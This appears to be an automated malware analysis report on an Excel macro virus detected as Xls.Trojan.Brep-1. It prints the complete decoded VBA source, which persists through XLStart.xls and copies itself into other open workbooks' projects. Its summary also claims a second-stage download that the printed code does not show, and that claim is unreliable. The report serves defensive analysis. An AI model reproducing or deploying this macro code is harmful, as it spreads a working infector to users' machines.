Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c7fe9a850fe09d43…

MALICIOUS

Office (OLE)

39.5 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 28dd7fcfabcb058e21189eaa58dcfd38 SHA-1: 7067977e9512e8157f1d90c1df0ddef25e99fcf7 SHA-256: c7fe9a850fe09d4395c06b582bd5e0f581f272db984dd4fc1366bae00a759660
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and high-severity Workbook_Open macro firing indicate malicious intent. The VBA code attempts to copy itself to a file named 'XLStart.xls' in the Excel startup path, which is a common persistence mechanism. The script's primary function appears to be downloading and executing a second-stage payload, though the full details are truncated.

Heuristics 3

  • ClamAV: Xls.Trojan.Brep-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Brep-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3352 bytes
SHA-256: d1ce3cb79721e62f776a40541d7a8f2f9d523530fe1100728a0ec56507b4da12
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

    
    
    
    
    
    'TripperB  SIFA
Private Sub Workbook_Open()
    Dim nbc$
    Application.OnSheetActivate = ""
    If Dir(Application.StartupPath & "\" & "XLStart.xls") = "XLStart.xls" Then
        Call SIFA
        Else
        Application.ScreenUpdating = False
        ThisWorkbook.Modules.Copy
        With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
        End With
        nbc$ = ActiveWorkbook.Name
        ActiveWorkbook.Sheets(1).Protect DrawingObjects:=True, Contents:=True, Scenarios:=True
        ActiveWindow.Visible = False
        Call SIFA
        Workbooks(nbc$).SaveAs FileName:=Application.StartupPath & "/" & "XLStart.xls", FileFormat:=xlNormal _
         , Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False
        Workbooks("XLStart.xls").Saved = True
        Application.ScreenUpdating = True
    End If
End Sub
Sub SIFA()
    Dim vbp
    Dim col&
    Dim sol$
    On Error GoTo Fiu
    Application.OnSheetActivate = ""
    Application.EnableEvents = False
    col& = Application.ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
    sol$ = Application.ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Lines(1, col&)
    For Each vbp In Application.VBE.VBProjects
        Select Case vbp.Protection
            Case False
            col& = vbp.VBComponents("ThisWorkbook").CodeModule.CountOfLines
                If vbp.VBComponents("ThisWorkbook").CodeModule.Find("    'TripperB  SIFA", 1, 1, col&, 1) Then
                    Else
                        With vbp
                        .VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, col&
                        .VBComponents("ThisWorkbook").CodeModule.AddFromString (sol$)
                        End With
                End If
            Case Else
        End Select
    Next
    Application.EnableEvents = True
    Application.OnWindow = "ThisWorkbook.SIFA"
Fiu:
End Sub





























Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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